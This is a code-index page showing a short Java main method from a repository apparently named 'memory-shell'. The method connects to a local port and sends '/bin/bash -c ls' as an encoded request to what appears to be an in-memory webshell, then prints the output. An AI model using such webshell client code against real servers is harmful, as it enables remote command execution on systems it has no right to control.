MCPcopy Index your code
hub / github.com/Q16G/memory-shell / main

Method main

src/main/java/org/example/webshellServer.java:13–19  ·  view source on GitHub ↗
(String[] args)

Source from the content-addressed store, hash-verified

11 private OutputStream outputStream;
12
13 public static void main(String[] args) throws IOException {
14 webshellServer webshellServer = new webshellServer("127.0.0.1", 9976);
15 String Command = "/bin/bash -c ls";
16 webshellServer.write((new tlv.Request((byte) 0x02, Command.getBytes())).encode());
17 tlv.Response response1 = webshellServer.readResponse();
18 System.out.println(response1.getDataAsString());
19 }
20
21 public webshellServer(String host, int port) throws IOException {
22 this.socket = new Socket(host, port);

Callers

nothing calls this directly

Calls 4

writeMethod · 0.95
readResponseMethod · 0.95
encodeMethod · 0.45
getDataAsStringMethod · 0.45

Tested by

no test coverage detected